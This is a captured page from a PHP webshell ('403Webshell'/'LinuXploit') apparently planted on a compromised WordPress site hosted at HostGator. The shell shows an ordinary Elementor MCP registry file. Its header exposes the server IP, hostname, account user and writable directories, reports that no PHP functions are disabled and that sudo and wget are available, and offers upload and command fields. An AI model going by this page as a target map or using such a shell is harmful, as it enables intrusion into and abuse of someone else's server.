403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.216.223
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/public_html/wp-content/plugins/elementor/modules/mcp/registry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/public_html/wp-content/plugins/elementor/modules/mcp/registry/ability-registry.php
<?php

namespace Elementor\Modules\Mcp\Registry;

use Elementor\Modules\Mcp\Abilities\Abstract_Ability;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Ability_Registry {

	/** @var array<string, Abstract_Ability> */
	private array $abilities = [];

	public function add( Abstract_Ability $ability ): void {
		$this->abilities[ $ability->get_id() ] = $ability;
	}

	/** @return Abstract_Ability[] */
	public function all(): array {
		return array_values( $this->abilities );
	}

	/** @return Abstract_Ability[] */
	public function tools(): array {
		return $this->filter_by_kind( Abstract_Ability::KIND_TOOL );
	}

	/** @return Abstract_Ability[] */
	public function resources(): array {
		return $this->filter_by_kind( Abstract_Ability::KIND_RESOURCE );
	}

	public function find_by_id( string $id ): ?Abstract_Ability {
		return $this->abilities[ $id ] ?? null;
	}

	public function find_by_proxy_slug( string $slug ): ?Abstract_Ability {
		foreach ( $this->abilities as $ability ) {
			if ( ! $ability->is_exposed_via_proxy() ) {
				continue;
			}

			if ( Abstract_Ability::KIND_TOOL === $ability->get_kind() && $ability->get_proxy_slug() === $slug ) {
				return $ability;
			}
		}

		return null;
	}

	public function find_resource_by_uri( string $uri ): ?Abstract_Ability {
		foreach ( $this->abilities as $ability ) {
			if ( Abstract_Ability::KIND_RESOURCE !== $ability->get_kind() ) {
				continue;
			}

			if ( $ability->get_uri() === $uri ) {
				return $ability;
			}
		}

		return null;
	}

	/** @return Abstract_Ability[] */
	private function filter_by_kind( string $kind ): array {
		return array_values( array_filter(
			$this->abilities,
			fn( Abstract_Ability $ability ) => $kind === $ability->get_kind()
		) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit